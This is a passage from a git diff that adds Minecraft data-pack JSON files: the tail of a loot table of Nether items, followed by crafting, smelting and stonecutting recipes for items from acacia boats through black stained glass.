"minecraft:uniform" + } + } + ], + "name": "minecraft:ender_pearl" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 5.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:quartz" + }, + { + "type": "minecraft:item", + "weight": 40, + "name": "minecraft:obsidian" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crying_obsidian" + }, + { + "type": "minecraft:item", + "weight": 40, + "name": "minecraft:fire_charge" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:leather" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:soul_sand" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:nether_brick" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 6.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spectral_arrow" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 8.0, + "max": 16.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gravel" + }, + { + "type": "minecraft:item", + "weight": 40, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 8.0, + "max": 16.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:blackstone" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_boat.json b/src/data/minecraft/recipes/acacia_boat.json new file mode 100644 index 00000000..c720cff5 --- /dev/null +++ b/src/data/minecraft/recipes/acacia_boat.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "boat", + "pattern": [ + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_boat" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_button.json b/src/data/minecraft/recipes/acacia_button.json new file mode 100644 index 00000000..8c747843 --- /dev/null +++ b/src/data/minecraft/recipes/acacia_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:acacia_planks" + } + ], + "result": { + "item": "minecraft:acacia_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_door.json b/src/data/minecraft/recipes/acacia_door.json new file mode 100644 index 00000000..e4cbbd86 --- /dev/null +++ b/src/data/minecraft/recipes/acacia_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_fence.json b/src/data/minecraft/recipes/acacia_fence.json new file mode 100644 index 00000000..6f2de276 --- /dev/null +++ b/src/data/minecraft/recipes/acacia_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_fence_gate.json b/src/data/minecraft/recipes/acacia_fence_gate.json new file mode 100644 index 00000000..cbd3b24e --- /dev/null +++ b/src/data/minecraft/recipes/acacia_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_planks.json b/src/data/minecraft/recipes/acacia_planks.json new file mode 100644 index 00000000..c420aa08 --- /dev/null +++ b/src/data/minecraft/recipes/acacia_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:acacia_logs" + } + ], + "result": { + "item": "minecraft:acacia_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_pressure_plate.json b/src/data/minecraft/recipes/acacia_pressure_plate.json new file mode 100644 index 00000000..4cae6486 --- /dev/null +++ b/src/data/minecraft/recipes/acacia_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_sign.json b/src/data/minecraft/recipes/acacia_sign.json new file mode 100644 index 00000000..bfb054da --- /dev/null +++ b/src/data/minecraft/recipes/acacia_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:acacia_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:acacia_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_slab.json b/src/data/minecraft/recipes/acacia_slab.json new file mode 100644 index 00000000..3cbd581b --- /dev/null +++ b/src/data/minecraft/recipes/acacia_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_stairs.json b/src/data/minecraft/recipes/acacia_stairs.json new file mode 100644 index 00000000..2218bb3c --- /dev/null +++ b/src/data/minecraft/recipes/acacia_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_trapdoor.json b/src/data/minecraft/recipes/acacia_trapdoor.json new file mode 100644 index 00000000..8868cd3e --- /dev/null +++ b/src/data/minecraft/recipes/acacia_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:acacia_planks" + } + }, + "result": { + "item": "minecraft:acacia_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/acacia_wood.json b/src/data/minecraft/recipes/acacia_wood.json new file mode 100644 index 00000000..3d87063a --- /dev/null +++ b/src/data/minecraft/recipes/acacia_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:acacia_log" + } + }, + "result": { + "item": "minecraft:acacia_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/activator_rail.json b/src/data/minecraft/recipes/activator_rail.json new file mode 100644 index 00000000..a697a0e7 --- /dev/null +++ b/src/data/minecraft/recipes/activator_rail.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XSX", + "X#X", + "XSX" + ], + "key": { + "#": { + "item": "minecraft:redstone_torch" + }, + "S": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:activator_rail", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/andesite.json b/src/data/minecraft/recipes/andesite.json new file mode 100644 index 00000000..c061485f --- /dev/null +++ b/src/data/minecraft/recipes/andesite.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:diorite" + }, + { + "item": "minecraft:cobblestone" + } + ], + "result": { + "item": "minecraft:andesite", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/andesite_slab.json b/src/data/minecraft/recipes/andesite_slab.json new file mode 100644 index 00000000..f4a6c390 --- /dev/null +++ b/src/data/minecraft/recipes/andesite_slab.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:andesite" + } + }, + "result": { + "item": "minecraft:andesite_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/andesite_slab_from_andesite_stonecutting.json b/src/data/minecraft/recipes/andesite_slab_from_andesite_stonecutting.json new file mode 100644 index 00000000..9f45b4a1 --- /dev/null +++ b/src/data/minecraft/recipes/andesite_slab_from_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:andesite" + }, + "result": "minecraft:andesite_slab", + "count": 2 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/andesite_stairs.json b/src/data/minecraft/recipes/andesite_stairs.json new file mode 100644 index 00000000..a5ba1c05 --- /dev/null +++ b/src/data/minecraft/recipes/andesite_stairs.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:andesite" + } + }, + "result": { + "item": "minecraft:andesite_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/andesite_stairs_from_andesite_stonecutting.json b/src/data/minecraft/recipes/andesite_stairs_from_andesite_stonecutting.json new file mode 100644 index 00000000..398f661a --- /dev/null +++ b/src/data/minecraft/recipes/andesite_stairs_from_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:andesite" + }, + "result": "minecraft:andesite_stairs", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/andesite_wall.json b/src/data/minecraft/recipes/andesite_wall.json new file mode 100644 index 00000000..bcad6853 --- /dev/null +++ b/src/data/minecraft/recipes/andesite_wall.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:andesite" + } + }, + "result": { + "item": "minecraft:andesite_wall", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/andesite_wall_from_andesite_stonecutting.json b/src/data/minecraft/recipes/andesite_wall_from_andesite_stonecutting.json new file mode 100644 index 00000000..0fd2650e --- /dev/null +++ b/src/data/minecraft/recipes/andesite_wall_from_andesite_stonecutting.json @@ -0,0 +1,8 @@ +{ + "type": "minecraft:stonecutting", + "ingredient": { + "item": "minecraft:andesite" + }, + "result": "minecraft:andesite_wall", + "count": 1 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/anvil.json b/src/data/minecraft/recipes/anvil.json new file mode 100644 index 00000000..fba3814b --- /dev/null +++ b/src/data/minecraft/recipes/anvil.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "III", + " i ", + "iii" + ], + "key": { + "I": { + "item": "minecraft:iron_block" + }, + "i": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:anvil" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/armor_dye.json b/src/data/minecraft/recipes/armor_dye.json new file mode 100644 index 00000000..09dd44fd --- /dev/null +++ b/src/data/minecraft/recipes/armor_dye.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_armordye" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/armor_stand.json b/src/data/minecraft/recipes/armor_stand.json new file mode 100644 index 00000000..d77f4987 --- /dev/null +++ b/src/data/minecraft/recipes/armor_stand.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "///", + " / ", + "/_/" + ], + "key": { + "/": { + "item": "minecraft:stick" + }, + "_": { + "item": "minecraft:smooth_stone_slab" + } + }, + "result": { + "item": "minecraft:armor_stand" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/arrow.json b/src/data/minecraft/recipes/arrow.json new file mode 100644 index 00000000..2d8980fd --- /dev/null +++ b/src/data/minecraft/recipes/arrow.json @@ -0,0 +1,23 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#", + "Y" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:flint" + }, + "Y": { + "item": "minecraft:feather" + } + }, + "result": { + "item": "minecraft:arrow", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/baked_potato.json b/src/data/minecraft/recipes/baked_potato.json new file mode 100644 index 00000000..a50aa2b4 --- /dev/null +++ b/src/data/minecraft/recipes/baked_potato.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:potato" + }, + "result": "minecraft:baked_potato", + "experience": 0.35, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/baked_potato_from_campfire_cooking.json b/src/data/minecraft/recipes/baked_potato_from_campfire_cooking.json new file mode 100644 index 00000000..8b36c4e1 --- /dev/null +++ b/src/data/minecraft/recipes/baked_potato_from_campfire_cooking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:campfire_cooking", + "ingredient": { + "item": "minecraft:potato" + }, + "result": "minecraft:baked_potato", + "experience": 0.35, + "cookingtime": 600 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/baked_potato_from_smoking.json b/src/data/minecraft/recipes/baked_potato_from_smoking.json new file mode 100644 index 00000000..69575806 --- /dev/null +++ b/src/data/minecraft/recipes/baked_potato_from_smoking.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smoking", + "ingredient": { + "item": "minecraft:potato" + }, + "result": "minecraft:baked_potato", + "experience": 0.35, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/banner_duplicate.json b/src/data/minecraft/recipes/banner_duplicate.json new file mode 100644 index 00000000..1af352ee --- /dev/null +++ b/src/data/minecraft/recipes/banner_duplicate.json @@ -0,0 +1,3 @@ +{ + "type": "minecraft:crafting_special_bannerduplicate" +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/barrel.json b/src/data/minecraft/recipes/barrel.json new file mode 100644 index 00000000..4cdf148e --- /dev/null +++ b/src/data/minecraft/recipes/barrel.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "PSP", + "P P", + "PSP" + ], + "key": { + "P": { + "tag": "minecraft:planks" + }, + "S": { + "tag": "minecraft:wooden_slabs" + } + }, + "result": { + "item": "minecraft:barrel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/beacon.json b/src/data/minecraft/recipes/beacon.json new file mode 100644 index 00000000..7b3540df --- /dev/null +++ b/src/data/minecraft/recipes/beacon.json @@ -0,0 +1,22 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "GGG", + "GSG", + "OOO" + ], + "key": { + "S": { + "item": "minecraft:nether_star" + }, + "G": { + "item": "minecraft:glass" + }, + "O": { + "item": "minecraft:obsidian" + } + }, + "result": { + "item": "minecraft:beacon" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/beehive.json b/src/data/minecraft/recipes/beehive.json new file mode 100644 index 00000000..eddbb9e4 --- /dev/null +++ b/src/data/minecraft/recipes/beehive.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "PPP", + "HHH", + "PPP" + ], + "key": { + "P": { + "tag": "minecraft:planks" + }, + "H": { + "item": "minecraft:honeycomb" + } + }, + "result": { + "item": "minecraft:beehive" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/beetroot_soup.json b/src/data/minecraft/recipes/beetroot_soup.json new file mode 100644 index 00000000..ef6cf635 --- /dev/null +++ b/src/data/minecraft/recipes/beetroot_soup.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:bowl" + }, + { + "item": "minecraft:beetroot" + }, + { + "item": "minecraft:beetroot" + }, + { + "item": "minecraft:beetroot" + }, + { + "item": "minecraft:beetroot" + }, + { + "item": "minecraft:beetroot" + }, + { + "item": "minecraft:beetroot" + } + ], + "result": { + "item": "minecraft:beetroot_soup" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_boat.json b/src/data/minecraft/recipes/birch_boat.json new file mode 100644 index 00000000..644bb8e6 --- /dev/null +++ b/src/data/minecraft/recipes/birch_boat.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "boat", + "pattern": [ + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_boat" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_button.json b/src/data/minecraft/recipes/birch_button.json new file mode 100644 index 00000000..09475349 --- /dev/null +++ b/src/data/minecraft/recipes/birch_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:birch_planks" + } + ], + "result": { + "item": "minecraft:birch_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_door.json b/src/data/minecraft/recipes/birch_door.json new file mode 100644 index 00000000..3e454a26 --- /dev/null +++ b/src/data/minecraft/recipes/birch_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_fence.json b/src/data/minecraft/recipes/birch_fence.json new file mode 100644 index 00000000..d60256a9 --- /dev/null +++ b/src/data/minecraft/recipes/birch_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_fence_gate.json b/src/data/minecraft/recipes/birch_fence_gate.json new file mode 100644 index 00000000..af0bb7d7 --- /dev/null +++ b/src/data/minecraft/recipes/birch_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_planks.json b/src/data/minecraft/recipes/birch_planks.json new file mode 100644 index 00000000..8d2eeaac --- /dev/null +++ b/src/data/minecraft/recipes/birch_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:birch_logs" + } + ], + "result": { + "item": "minecraft:birch_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_pressure_plate.json b/src/data/minecraft/recipes/birch_pressure_plate.json new file mode 100644 index 00000000..a4924df2 --- /dev/null +++ b/src/data/minecraft/recipes/birch_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_sign.json b/src/data/minecraft/recipes/birch_sign.json new file mode 100644 index 00000000..0f70b021 --- /dev/null +++ b/src/data/minecraft/recipes/birch_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:birch_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:birch_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_slab.json b/src/data/minecraft/recipes/birch_slab.json new file mode 100644 index 00000000..55712887 --- /dev/null +++ b/src/data/minecraft/recipes/birch_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_stairs.json b/src/data/minecraft/recipes/birch_stairs.json new file mode 100644 index 00000000..4f6478f0 --- /dev/null +++ b/src/data/minecraft/recipes/birch_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_trapdoor.json b/src/data/minecraft/recipes/birch_trapdoor.json new file mode 100644 index 00000000..01d530c2 --- /dev/null +++ b/src/data/minecraft/recipes/birch_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:birch_planks" + } + }, + "result": { + "item": "minecraft:birch_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/birch_wood.json b/src/data/minecraft/recipes/birch_wood.json new file mode 100644 index 00000000..cce7b817 --- /dev/null +++ b/src/data/minecraft/recipes/birch_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:birch_log" + } + }, + "result": { + "item": "minecraft:birch_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_banner.json b/src/data/minecraft/recipes/black_banner.json new file mode 100644 index 00000000..321597cf --- /dev/null +++ b/src/data/minecraft/recipes/black_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:black_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:black_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_bed.json b/src/data/minecraft/recipes/black_bed.json new file mode 100644 index 00000000..9f2b9c7d --- /dev/null +++ b/src/data/minecraft/recipes/black_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:black_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:black_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_bed_from_white_bed.json b/src/data/minecraft/recipes/black_bed_from_white_bed.json new file mode 100644 index 00000000..37f34979 --- /dev/null +++ b/src/data/minecraft/recipes/black_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:black_dye" + } + ], + "result": { + "item": "minecraft:black_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_carpet.json b/src/data/minecraft/recipes/black_carpet.json new file mode 100644 index 00000000..f794f067 --- /dev/null +++ b/src/data/minecraft/recipes/black_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:black_wool" + } + }, + "result": { + "item": "minecraft:black_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_carpet_from_white_carpet.json b/src/data/minecraft/recipes/black_carpet_from_white_carpet.json new file mode 100644 index 00000000..f8064759 --- /dev/null +++ b/src/data/minecraft/recipes/black_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:black_dye" + } + }, + "result": { + "item": "minecraft:black_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_concrete_powder.json b/src/data/minecraft/recipes/black_concrete_powder.json new file mode 100644 index 00000000..1ccccf6d --- /dev/null +++ b/src/data/minecraft/recipes/black_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:black_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:black_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_dye.json b/src/data/minecraft/recipes/black_dye.json new file mode 100644 index 00000000..c0c21f9e --- /dev/null +++ b/src/data/minecraft/recipes/black_dye.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "black_dye", + "ingredients": [ + { + "item": "minecraft:ink_sac" + } + ], + "result": { + "item": "minecraft:black_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_dye_from_wither_rose.json b/src/data/minecraft/recipes/black_dye_from_wither_rose.json new file mode 100644 index 00000000..7ba123d3 --- /dev/null +++ b/src/data/minecraft/recipes/black_dye_from_wither_rose.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "black_dye", + "ingredients": [ + { + "item": "minecraft:wither_rose" + } + ], + "result": { + "item": "minecraft:black_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_glazed_terracotta.json b/src/data/minecraft/recipes/black_glazed_terracotta.json new file mode 100644 index 00000000..71d9dd49 --- /dev/null +++ b/src/data/minecraft/recipes/black_glazed_terracotta.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:black_terracotta" + }, + "result": "minecraft:black_glazed_terracotta", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_stained_glass.json b/src/data/minecraft/recipes/black_stained_glass.json new file mode 100644 index 00000000..65f84a0f --- /dev/null +++ b/src/data/minecraft/recipes/black_stained_glass.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass" + }, + "X": { + "item": "minecraft:black_dye" + } + }, + "result": { + "item": "minecraft:black_stained_glass", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_stained_glass_pane.json b/src/data/minecraft/recipes/black_stained_glass_pane.json new file mode 100644 index 00000000..4f5b07c0 --- /dev/null +++ b/src/data/minecraft/recipes/black_stained_glass_pane.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:black_stained_glass" + } + }, + "result": { + "item": "minecraft:black_stained_glass_pane", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_stained_glass_pane_from_glass_pane.json b/src/data/minecraft/recipes/black_stained_glass_pane_from_glass_pane.json new file mode 100644 index 00000000..5d9a8178 --- /dev/null +++ b/src/data/minecraft/recipes/black_stained_glass_pane_from_glass_pane.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "stained_glass_pane", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:glass_pane" + }, + "$": { + "item": "minecraft:black_dye" + } + }, + "result": { + "item": "minecraft:black_stained_glass_pane", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/black_terracotta.json b/src/data/minecraft/recipes/black_terracotta.json new file mode 100644 index 